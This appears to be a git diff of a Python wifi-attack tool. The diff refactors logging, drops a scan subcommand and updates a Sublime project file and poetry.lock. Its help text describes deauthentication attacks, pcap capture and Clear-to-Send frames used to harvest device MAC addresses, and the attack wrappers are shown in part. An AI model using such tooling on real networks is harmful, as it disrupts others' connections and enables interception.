# ██████╔╝██║ ██║███████╗██║ ╚═╝ ██║╚██████╔╝██║ ╚████║
|
||||
# ╚═════╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝
|
||||
# ----------------------------------------------------------------------------
|
||||
# This shit does not work.
|
||||
def proc_attack(interface, scan_file, mon_type):
|
||||
mon_dev = start_monitor(interface, mon_type)
|
||||
mp.set_start_method('spawn')
|
||||
|
@ -616,30 +476,6 @@ def proc_attack(interface, scan_file, mon_type):
|
|||
trio.run(attack, mon_dev, scan_file)
|
||||
|
||||
|
||||
# -------------------------------------------------------------
|
||||
# ███████╗ ██████╗ █████╗ ███╗ ██╗
|
||||
# ██╔════╝██╔════╝██╔══██╗████╗ ██║
|
||||
# ███████╗██║ ███████║██╔██╗ ██║
|
||||
# ╚════██║██║ ██╔══██║██║╚██╗██║
|
||||
# ███████║╚██████╗██║ ██║██║ ╚████║
|
||||
# ╚══════╝ ╚═════╝╚═╝ ╚═╝╚═╝ ╚═══╝
|
||||
# -------------------------------------------------------------
|
||||
def scan_scn(interface, save_results, rfile):
|
||||
scan_df = get_df()
|
||||
# ssocket = conf.L2socket(iface=if_mon)
|
||||
sniff_ses = sniff(prn=PRN2, iface=interface,
|
||||
count=10, monitor=True)
|
||||
print(str(sniff_ses))
|
||||
if save_results:
|
||||
scan_df.to_csv(rfile)
|
||||
print('results written to file ', rfile)
|
||||
else:
|
||||
print(scan_df)
|
||||
# stop_monitor(if_mon)
|
||||
print('Done')
|
||||
# -------------------------------------------------------------
|
||||
|
||||
|
||||
# -------------------------------------------------------------
|
||||
# ██████╗ ███████╗████████╗ ██████╗ ███████╗
|
||||
# ██╔════╝ ██╔════╝╚══██╔══╝ ██╔══██╗██╔════╝
|
||||
|
@ -669,21 +505,34 @@ def signal_handler(signal=signal.SIGINT, frame=None) -> None:
|
|||
exit(0)
|
||||
|
||||
|
||||
def get_log(log_file, log_level):
|
||||
logfile = os.path.abspath(log_file)
|
||||
def rotate_logfile(logfile):
|
||||
log_size = os.path.getsize(logfile)
|
||||
smart_size = log_size % 1024
|
||||
if smart_size >= 1024:
|
||||
os.remove(logfile)
|
||||
|
||||
|
||||
def get_log(log_file):
|
||||
log = log_file
|
||||
lev = 'debug'
|
||||
rot = True
|
||||
if not os.path.exists(log):
|
||||
open(log, 'a').close()
|
||||
if rot:
|
||||
rotate_logfile(log)
|
||||
log = logging.getLogger(__name__)
|
||||
if log.hasHandlers():
|
||||
log.handlers.clear()
|
||||
# lvl = str(f'logging.{log_level}')
|
||||
# lgvl = lvl.strip()
|
||||
# log.setLevel(lgvl)
|
||||
if lev == 'info':
|
||||
log.setLevel(logging.INFO)
|
||||
elif lev == 'debug':
|
||||
log.setLevel(logging.DEBUG)
|
||||
handler = logging.FileHandler(logfile, mode='a', encoding='utf-8')
|
||||
handler = logging.FileHandler(log, mode='a', encoding='utf-8')
|
||||
formatter = logging.Formatter('%(asctime)s - %(levelname)s - %(message)s')
|
||||
handler.setFormatter(formatter)
|
||||
log.addHandler(handler)
|
||||
log.info('Started crouching tiger')
|
||||
log.info('Started logger...')
|
||||
log.info('started motion detection')
|
||||
log.info('Acquired Logger')
|
||||
return log
|
||||
|
||||
|
||||
|
@ -721,20 +570,10 @@ def process_args(args: argparse.Namespace) -> None:
|
|||
log.debug('args: {0}'.format(args))
|
||||
global valid_file
|
||||
valid_file = args.valid_file
|
||||
pge = Purge(interface=args.name,
|
||||
start_purge(interface=args.name,
|
||||
mon_type=args.mon_type,
|
||||
valid_file=args.valid_file,
|
||||
channels=args.channels)
|
||||
pge.start_purge()
|
||||
case "scn":
|
||||
log.info('Start scanning...')
|
||||
if not args.save_results:
|
||||
rfile = None
|
||||
log.debug('Not saving results')
|
||||
else:
|
||||
rfile = args.rfile
|
||||
log.debug('Saving results to ', rfile)
|
||||
scan_scn(args.interface, args.save_results, rfile)
|
||||
case _:
|
||||
ap.print_help()
|
||||
|
||||
|
@ -797,9 +636,10 @@ else:
|
|||
# ArgParse Setup #
|
||||
##################
|
||||
ap = argparse.ArgumentParser(
|
||||
prog=prog,
|
||||
formatter_class=argparse.RawTextHelpFormatter,
|
||||
usage='%(prog)s -i $IFACE (-t $TARGET or -f $TARGET_FILE)',
|
||||
conflict_handler='resolve',
|
||||
usage='%(prog)s -i $IFACE (-t $TARGET or -f $TARGET_FILE) {mac,att,scn}',
|
||||
epilog='Processing will take several seconds, please be patient.\n',
|
||||
description='Performs various actions on wifi targets.\n'
|
||||
'\n'
|
||||
'This program was created with the intent to allow users to attack\n'
|
||||
|
@ -812,13 +652,7 @@ else:
|
|||
' If found will begin capturing a pcap file and deauth attack.\n'
|
||||
'\n'
|
||||
'3. Mac_Purge [mac] = Experimental: Scans for wireless devices and acquires their MAC\n' ' addresses. Then transmits a Clear to Send Frame. If the device responds with \n'
|
||||
' data frame, then information on the device will be stored and written to file.\n'
|
||||
'\n'
|
||||
'4. SCAN [scn] = Scan for target\n'
|
||||
' This action only scans for the target(s) provided and writes results to a csv file\n'
|
||||
' This file can later be used with the attack command.\n',
|
||||
epilog='Processing will take several seconds, please be patient.\n',
|
||||
conflict_handler='resolve')
|
||||
' data frame, then information on the device will be stored and written to file.\n')
|
||||
# options parser
|
||||
ap.add_argument('-v', '--version', action='version',
|
||||
version=f'%(prog)s {VERSION}')
|
||||
|
@ -861,18 +695,7 @@ else:
|
|||
mac_parse.add_argument('-c', '--channels', dest='channels',
|
||||
default=config['MAC_PURGE']['channel_list'],
|
||||
help='A single or comma seperated list of channels.')
|
||||
mac_parse.set_defaults(fun=Purge.start_purge)
|
||||
|
||||
# scn Subcommands
|
||||
scn_parse = subparse.add_parser('scn', help='Scan for target')
|
||||
scn_parse.add_argument('-s', '--save', dest='save_results',
|
||||
action='store_true',
|
||||
default=config['SCAN']['save_results'],
|
||||
help='Save results to file.')
|
||||
scn_parse.add_argument('-o', '--output', dest='rfile',
|
||||
default=config['SCAN']['results_file'],
|
||||
help='File to write results too.')
|
||||
scn_parse.set_defaults(fun=scan_scn)
|
||||
mac_parse.set_defaults(fun=start_purge)
|
||||
|
||||
##################
|
||||
# parse the args #
|
||||
|
|
17
ctiger.sublime-project
Normal file
17
ctiger.sublime-project
Normal file
|
@ -0,0 +1,17 @@
|
|||
{
|
||||
"folders":
|
||||
[
|
||||
{
|
||||
"path": ".",
|
||||
}
|
||||
],
|
||||
"build_systems":
|
||||
[
|
||||
{
|
||||
"file_regex": "^[ ]*File \"(...*?)\", line ([0-9]*)",
|
||||
"name": "Anaconda Python Builder",
|
||||
"selector": "source.python",
|
||||
"shell_cmd": "\"python\" -u \"$file\""
|
||||
}
|
||||
],
|
||||
}
|
192
poetry.lock
generated
192
poetry.lock
generated
|
@ -1,4 +1,4 @@
|
|||
# This file is automatically @generated by Poetry 1.6.1 and should not be changed by hand.
|
||||
# This file is automatically @generated by Poetry 1.7.1 and should not be changed by hand.
|
||||
|
||||
[[package]]
|
||||
name = "art"
|
||||
|
@ -41,27 +41,6 @@ files = [
|
|||
[package.dependencies]
|
||||
six = "*"
|
||||
|
||||
[[package]]
|
||||
name = "daemon"
|
||||
version = "1.2"
|
||||
description = ""
|
||||
optional = false
|
||||
python-versions = "*"
|
||||
files = [
|
||||
{file = "daemon-1.2.tar.gz", hash = "sha256:8b658d82e77e289cb6a4d2daff80b565556d5a54c594c9b4a864af0f89dff2af"},
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "daemonize"
|
||||
version = "2.5.0"
|
||||
description = "Library to enable your code run as a daemon process on Unix-like systems."
|
||||
optional = false
|
||||
python-versions = "*"
|
||||
files = [
|
||||
{file = "daemonize-2.5.0-py2.py3-none-any.whl", hash = "sha256:9b6b91311a9d934ff3f5f766666635ca280d3de8e7137e4cd7d3f052543b989f"},
|
||||
{file = "daemonize-2.5.0.tar.gz", hash = "sha256:dd026e4ff8d22cb016ed2130bc738b7d4b1da597ef93c074d2adb9e4dea08bc3"},
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "docstring-parser"
|
||||
version = "0.15"
|
||||
|
@ -118,137 +97,49 @@ files = [
|
|||
|
||||
[[package]]
|
||||
name = "numpy"
|
||||
version = "1.25.2"
|
||||
version = "1.26.3"
|
||||
description = "Fundamental package for array computing in Python"
|
||||
optional = false
|
||||
python-versions = ">=3.9"
|
||||
files = [
|
||||
{file = "numpy-1.25.2-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:db3ccc4e37a6873045580d413fe79b68e47a681af8db2e046f1dacfa11f86eb3"},
|
||||
{file = "numpy-1.25.2-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:90319e4f002795ccfc9050110bbbaa16c944b1c37c0baeea43c5fb881693ae1f"},
|
||||
{file = "numpy-1.25.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:dfe4a913e29b418d096e696ddd422d8a5d13ffba4ea91f9f60440a3b759b0187"},
|
||||
{file = "numpy-1.25.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f08f2e037bba04e707eebf4bc934f1972a315c883a9e0ebfa8a7756eabf9e357"},
|
||||
{file = "numpy-1.25.2-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:bec1e7213c7cb00d67093247f8c4db156fd03075f49876957dca4711306d39c9"},
|
||||
{file = "numpy-1.25.2-cp310-cp310-win32.whl", hash = "sha256:7dc869c0c75988e1c693d0e2d5b26034644399dd929bc049db55395b1379e044"},
|
||||
{file = "numpy-1.25.2-cp310-cp310-win_amd64.whl", hash = "sha256:834b386f2b8210dca38c71a6e0f4fd6922f7d3fcff935dbe3a570945acb1b545"},
|
||||
{file = "numpy-1.25.2-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:c5462d19336db4560041517dbb7759c21d181a67cb01b36ca109b2ae37d32418"},
|
||||
{file = "numpy-1.25.2-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:c5652ea24d33585ea39eb6a6a15dac87a1206a692719ff45d53c5282e66d4a8f"},
|
||||
{file = "numpy-1.25.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0d60fbae8e0019865fc4784745814cff1c421df5afee233db6d88ab4f14655a2"},
|
||||
{file = "numpy-1.25.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:60e7f0f7f6d0eee8364b9a6304c2845b9c491ac706048c7e8cf47b83123b8dbf"},
|
||||
{file = "numpy-1.25.2-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:bb33d5a1cf360304754913a350edda36d5b8c5331a8237268c48f91253c3a364"},
|
||||
{file = "numpy-1.25.2-cp311-cp311-win32.whl", hash = "sha256:5883c06bb92f2e6c8181df7b39971a5fb436288db58b5a1c3967702d4278691d"},
|
||||
{file = "numpy-1.25.2-cp311-cp311-win_amd64.whl", hash = "sha256:5c97325a0ba6f9d041feb9390924614b60b99209a71a69c876f71052521d42a4"},
|
||||
{file = "numpy-1.25.2-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:b79e513d7aac42ae918db3ad1341a015488530d0bb2a6abcbdd10a3a829ccfd3"},
|
||||
{file = "numpy-1.25.2-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:eb942bfb6f84df5ce05dbf4b46673ffed0d3da59f13635ea9b926af3deb76926"},
|
||||
{file = "numpy-1.25.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:3e0746410e73384e70d286f93abf2520035250aad8c5714240b0492a7302fdca"},
|
||||
{file = "numpy-1.25.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d7806500e4f5bdd04095e849265e55de20d8cc4b661b038957354327f6d9b295"},
|
||||
{file = "numpy-1.25.2-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:8b77775f4b7df768967a7c8b3567e309f617dd5e99aeb886fa14dc1a0791141f"},
|
||||
{file = "numpy-1.25.2-cp39-cp39-win32.whl", hash = "sha256:2792d23d62ec51e50ce4d4b7d73de8f67a2fd3ea710dcbc8563a51a03fb07b01"},
|
||||
{file = "numpy-1.25.2-cp39-cp39-win_amd64.whl", hash = "sha256:76b4115d42a7dfc5d485d358728cdd8719be33cc5ec6ec08632a5d6fca2ed380"},
|
||||
{file = "numpy-1.25.2-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:1a1329e26f46230bf77b02cc19e900db9b52f398d6722ca853349a782d4cff55"},
|
||||
{file = "numpy-1.25.2-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:4c3abc71e8b6edba80a01a52e66d83c5d14433cbcd26a40c329ec7ed09f37901"},
|
||||
{file = "numpy-1.25.2-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:1b9735c27cea5d995496f46a8b1cd7b408b3f34b6d50459d9ac8fe3a20cc17bf"},
|
||||
{file = "numpy-1.25.2.tar.gz", hash = "sha256:fd608e19c8d7c55021dffd43bfe5492fab8cc105cc8986f813f8c3c048b38760"},
|
||||
{file = "numpy-1.26.3-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:806dd64230dbbfaca8a27faa64e2f414bf1c6622ab78cc4264f7f5f028fee3bf"},
|
||||
{file = "numpy-1.26.3-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:02f98011ba4ab17f46f80f7f8f1c291ee7d855fcef0a5a98db80767a468c85cd"},
|
||||
{file = "numpy-1.26.3-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6d45b3ec2faed4baca41c76617fcdcfa4f684ff7a151ce6fc78ad3b6e85af0a6"},
|
||||
{file = "numpy-1.26.3-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bdd2b45bf079d9ad90377048e2747a0c82351989a2165821f0c96831b4a2a54b"},
|
||||
{file = "numpy-1.26.3-cp310-cp310-musllinux_1_1_aarch64.whl", hash = "sha256:211ddd1e94817ed2d175b60b6374120244a4dd2287f4ece45d49228b4d529178"},
|
||||
{file = "numpy-1.26.3-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:b1240f767f69d7c4c8a29adde2310b871153df9b26b5cb2b54a561ac85146485"},
|
||||
{file = "numpy-1.26.3-cp310-cp310-win32.whl", hash = "sha256:21a9484e75ad018974a2fdaa216524d64ed4212e418e0a551a2d83403b0531d3"},
|
||||
{file = "numpy-1.26.3-cp310-cp310-win_amd64.whl", hash = "sha256:9e1591f6ae98bcfac2a4bbf9221c0b92ab49762228f38287f6eeb5f3f55905ce"},
|
||||
{file = "numpy-1.26.3-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:b831295e5472954104ecb46cd98c08b98b49c69fdb7040483aff799a755a7374"},
|
||||
{file = "numpy-1.26.3-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:9e87562b91f68dd8b1c39149d0323b42e0082db7ddb8e934ab4c292094d575d6"},
|
||||
{file = "numpy-1.26.3-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8c66d6fec467e8c0f975818c1796d25c53521124b7cfb760114be0abad53a0a2"},
|
||||
{file = "numpy-1.26.3-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f25e2811a9c932e43943a2615e65fc487a0b6b49218899e62e426e7f0a57eeda"},
|
||||
{file = "numpy-1.26.3-cp311-cp311-musllinux_1_1_aarch64.whl", hash = "sha256:af36e0aa45e25c9f57bf684b1175e59ea05d9a7d3e8e87b7ae1a1da246f2767e"},
|
||||
{file = "numpy-1.26.3-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:51c7f1b344f302067b02e0f5b5d2daa9ed4a721cf49f070280ac202738ea7f00"},
|
||||
{file = "numpy-1.26.3-cp311-cp311-win32.whl", hash = "sha256:7ca4f24341df071877849eb2034948459ce3a07915c2734f1abb4018d9c49d7b"},
|
||||
{file = "numpy-1.26.3-cp311-cp311-win_amd64.whl", hash = "sha256:39763aee6dfdd4878032361b30b2b12593fb445ddb66bbac802e2113eb8a6ac4"},
|
||||
{file = "numpy-1.26.3-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:a7081fd19a6d573e1a05e600c82a1c421011db7935ed0d5c483e9dd96b99cf13"},
|
||||
{file = "numpy-1.26.3-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:12c70ac274b32bc00c7f61b515126c9205323703abb99cd41836e8125ea0043e"},
|
||||
{file = "numpy-1.26.3-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7f784e13e598e9594750b2ef6729bcd5a47f6cfe4a12cca13def35e06d8163e3"},
|
||||
{file = "numpy-1.26.3-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5f24750ef94d56ce6e33e4019a8a4d68cfdb1ef661a52cdaee628a56d2437419"},
|
||||
{file = "numpy-1.26.3-cp312-cp312-musllinux_1_1_aarch64.whl", hash = "sha256:77810ef29e0fb1d289d225cabb9ee6cf4d11978a00bb99f7f8ec2132a84e0166"},
|
||||
{file = "numpy-1.26.3-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:8ed07a90f5450d99dad60d3799f9c03c6566709bd53b497eb9ccad9a55867f36"},
|
||||
{file = "numpy-1.26.3-cp312-cp312-win32.whl", hash = "sha256:f73497e8c38295aaa4741bdfa4fda1a5aedda5473074369eca10626835445511"},
|
||||
{file = "numpy-1.26.3-cp312-cp312-win_amd64.whl", hash = "sha256:da4b0c6c699a0ad73c810736303f7fbae483bcb012e38d7eb06a5e3b432c981b"},
|
||||
{file = "numpy-1.26.3-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:1666f634cb3c80ccbd77ec97bc17337718f56d6658acf5d3b906ca03e90ce87f"},
|
||||
{file = "numpy-1.26.3-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:18c3319a7d39b2c6a9e3bb75aab2304ab79a811ac0168a671a62e6346c29b03f"},
|
||||
{file = "numpy-1.26.3-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:0b7e807d6888da0db6e7e75838444d62495e2b588b99e90dd80c3459594e857b"},
|
||||
{file = "numpy-1.26.3-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:b4d362e17bcb0011738c2d83e0a65ea8ce627057b2fdda37678f4374a382a137"},
|
||||
{file = "numpy-1.26.3-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:b8c275f0ae90069496068c714387b4a0eba5d531aace269559ff2b43655edd58"},
|
||||
{file = "numpy-1.26.3-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:cc0743f0302b94f397a4a65a660d4cd24267439eb16493fb3caad2e4389bccbb"},
|
||||
{file = "numpy-1.26.3-cp39-cp39-win32.whl", hash = "sha256:9bc6d1a7f8cedd519c4b7b1156d98e051b726bf160715b769106661d567b3f03"},
|
||||
{file = "numpy-1.26.3-cp39-cp39-win_amd64.whl", hash = "sha256:867e3644e208c8922a3be26fc6bbf112a035f50f0a86497f98f228c50c607bb2"},
|
||||
{file = "numpy-1.26.3-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:3c67423b3703f8fbd90f5adaa37f85b5794d3366948efe9a5190a5f3a83fc34e"},
|
||||
{file = "numpy-1.26.3-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:46f47ee566d98849323f01b349d58f2557f02167ee301e5e28809a8c0e27a2d0"},
|
||||
{file = "numpy-1.26.3-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:a8474703bffc65ca15853d5fd4d06b18138ae90c17c8d12169968e998e448bb5"},
|
||||
{file = "numpy-1.26.3.tar.gz", hash = "sha256:697df43e2b6310ecc9d95f05d5ef20eacc09c7c4ecc9da3f235d39e71b7da1e4"},
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "numpy"
|
||||
version = "1.26.1"
|
||||
description = "Fundamental package for array computing in Python"
|
||||
optional = false
|
||||
python-versions = "<3.13,>=3.9"
|
||||
files = [
|
||||
{file = "numpy-1.26.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:82e871307a6331b5f09efda3c22e03c095d957f04bf6bc1804f30048d0e5e7af"},
|
||||
{file = "numpy-1.26.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:cdd9ec98f0063d93baeb01aad472a1a0840dee302842a2746a7a8e92968f9575"},
|
||||
{file = "numpy-1.26.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d78f269e0c4fd365fc2992c00353e4530d274ba68f15e968d8bc3c69ce5f5244"},
|
||||
{file = "numpy-1.26.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8ab9163ca8aeb7fd32fe93866490654d2f7dda4e61bc6297bf72ce07fdc02f67"},
|
||||
{file = "numpy-1.26.1-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:78ca54b2f9daffa5f323f34cdf21e1d9779a54073f0018a3094ab907938331a2"},
|
||||
{file = "numpy-1.26.1-cp310-cp310-win32.whl", hash = "sha256:d1cfc92db6af1fd37a7bb58e55c8383b4aa1ba23d012bdbba26b4bcca45ac297"},
|
||||
{file = "numpy-1.26.1-cp310-cp310-win_amd64.whl", hash = "sha256:d2984cb6caaf05294b8466966627e80bf6c7afd273279077679cb010acb0e5ab"},
|
||||
{file = "numpy-1.26.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:cd7837b2b734ca72959a1caf3309457a318c934abef7a43a14bb984e574bbb9a"},
|
||||
{file = "numpy-1.26.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:1c59c046c31a43310ad0199d6299e59f57a289e22f0f36951ced1c9eac3665b9"},
|
||||
{file = "numpy-1.26.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d58e8c51a7cf43090d124d5073bc29ab2755822181fcad978b12e144e5e5a4b3"},
|
||||
{file = "numpy-1.26.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:6081aed64714a18c72b168a9276095ef9155dd7888b9e74b5987808f0dd0a974"},
|
||||
{file = "numpy-1.26.1-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:97e5d6a9f0702c2863aaabf19f0d1b6c2628fbe476438ce0b5ce06e83085064c"},
|
||||
{file = "numpy-1.26.1-cp311-cp311-win32.whl", hash = "sha256:b9d45d1dbb9de84894cc50efece5b09939752a2d75aab3a8b0cef6f3a35ecd6b"},
|
||||
{file = "numpy-1.26.1-cp311-cp311-win_amd64.whl", hash = "sha256:3649d566e2fc067597125428db15d60eb42a4e0897fc48d28cb75dc2e0454e53"},
|
||||
{file = "numpy-1.26.1-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:1d1bd82d539607951cac963388534da3b7ea0e18b149a53cf883d8f699178c0f"},
|
||||
{file = "numpy-1.26.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:afd5ced4e5a96dac6725daeb5242a35494243f2239244fad10a90ce58b071d24"},
|
||||
{file = "numpy-1.26.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a03fb25610ef560a6201ff06df4f8105292ba56e7cdd196ea350d123fc32e24e"},
|
||||
{file = "numpy-1.26.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:dcfaf015b79d1f9f9c9fd0731a907407dc3e45769262d657d754c3a028586124"},
|
||||
{file = "numpy-1.26.1-cp312-cp312-musllinux_1_1_x86_64.whl", hash = "sha256:e509cbc488c735b43b5ffea175235cec24bbc57b227ef1acc691725beb230d1c"},
|
||||
{file = "numpy-1.26.1-cp312-cp312-win32.whl", hash = "sha256:af22f3d8e228d84d1c0c44c1fbdeb80f97a15a0abe4f080960393a00db733b66"},
|
||||
{file = "numpy-1.26.1-cp312-cp312-win_amd64.whl", hash = "sha256:9f42284ebf91bdf32fafac29d29d4c07e5e9d1af862ea73686581773ef9e73a7"},
|
||||
{file = "numpy-1.26.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:bb894accfd16b867d8643fc2ba6c8617c78ba2828051e9a69511644ce86ce83e"},
|
||||
{file = "numpy-1.26.1-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:e44ccb93f30c75dfc0c3aa3ce38f33486a75ec9abadabd4e59f114994a9c4617"},
|
||||
{file = "numpy-1.26.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9696aa2e35cc41e398a6d42d147cf326f8f9d81befcb399bc1ed7ffea339b64e"},
|
||||
{file = "numpy-1.26.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a5b411040beead47a228bde3b2241100454a6abde9df139ed087bd73fc0a4908"},
|
||||
{file = "numpy-1.26.1-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:1e11668d6f756ca5ef534b5be8653d16c5352cbb210a5c2a79ff288e937010d5"},
|
||||
{file = "numpy-1.26.1-cp39-cp39-win32.whl", hash = "sha256:d1d2c6b7dd618c41e202c59c1413ef9b2c8e8a15f5039e344af64195459e3104"},
|
||||
{file = "numpy-1.26.1-cp39-cp39-win_amd64.whl", hash = "sha256:59227c981d43425ca5e5c01094d59eb14e8772ce6975d4b2fc1e106a833d5ae2"},
|
||||
{file = "numpy-1.26.1-pp39-pypy39_pp73-macosx_10_9_x86_64.whl", hash = "sha256:06934e1a22c54636a059215d6da99e23286424f316fddd979f5071093b648668"},
|
||||
{file = "numpy-1.26.1-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:76ff661a867d9272cd2a99eed002470f46dbe0943a5ffd140f49be84f68ffc42"},
|
||||
{file = "numpy-1.26.1-pp39-pypy39_pp73-win_amd64.whl", hash = "sha256:6965888d65d2848e8768824ca8288db0a81263c1efccec881cb35a0d805fcd2f"},
|
||||
{file = "numpy-1.26.1.tar.gz", hash = "sha256:c8c6c72d4a9f831f328efb1312642a1cafafaa88981d9ab76368d50d07d93cbe"},
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "pandas"
|
||||
version = "2.1.0"
|
||||
description = "Powerful data structures for data analysis, time series, and statistics"
|
||||
optional = false
|
||||
python-versions = ">=3.9"
|
||||
files = [
|
||||
{file = "pandas-2.1.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:40dd20439ff94f1b2ed55b393ecee9cb6f3b08104c2c40b0cb7186a2f0046242"},
|
||||
{file = "pandas-2.1.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:d4f38e4fedeba580285eaac7ede4f686c6701a9e618d8a857b138a126d067f2f"},
|
||||
{file = "pandas-2.1.0-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6e6a0fe052cf27ceb29be9429428b4918f3740e37ff185658f40d8702f0b3e09"},
|
||||
{file = "pandas-2.1.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9d81e1813191070440d4c7a413cb673052b3b4a984ffd86b8dd468c45742d3cc"},
|
||||
{file = "pandas-2.1.0-cp310-cp310-musllinux_1_1_x86_64.whl", hash = "sha256:eb20252720b1cc1b7d0b2879ffc7e0542dd568f24d7c4b2347cb035206936421"},
|
||||
{file = "pandas-2.1.0-cp310-cp310-win_amd64.whl", hash = "sha256:38f74ef7ebc0ffb43b3d633e23d74882bce7e27bfa09607f3c5d3e03ffd9a4a5"},
|
||||
{file = "pandas-2.1.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:cda72cc8c4761c8f1d97b169661f23a86b16fdb240bdc341173aee17e4d6cedd"},
|
||||
{file = "pandas-2.1.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:d97daeac0db8c993420b10da4f5f5b39b01fc9ca689a17844e07c0a35ac96b4b"},
|
||||
{file = "pandas-2.1.0-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:d8c58b1113892e0c8078f006a167cc210a92bdae23322bb4614f2f0b7a4b510f"},
|
||||
{file = "pandas-2.1.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:629124923bcf798965b054a540f9ccdfd60f71361255c81fa1ecd94a904b9dd3"},
|
||||
{file = "pandas-2.1.0-cp311-cp311-musllinux_1_1_x86_64.whl", hash = "sha256:70cf866af3ab346a10debba8ea78077cf3a8cd14bd5e4bed3d41555a3280041c"},
|
||||
{file = "pandas-2.1.0-cp311-cp311-win_amd64.whl", hash = "sha256:d53c8c1001f6a192ff1de1efe03b31a423d0eee2e9e855e69d004308e046e694"},
|
||||
{file = "pandas-2.1.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:86f100b3876b8c6d1a2c66207288ead435dc71041ee4aea789e55ef0e06408cb"},
|
||||
{file = "pandas-2.1.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:28f330845ad21c11db51e02d8d69acc9035edfd1116926ff7245c7215db57957"},
|
||||
{file = "pandas-2.1.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:b9a6ccf0963db88f9b12df6720e55f337447aea217f426a22d71f4213a3099a6"},
|
||||
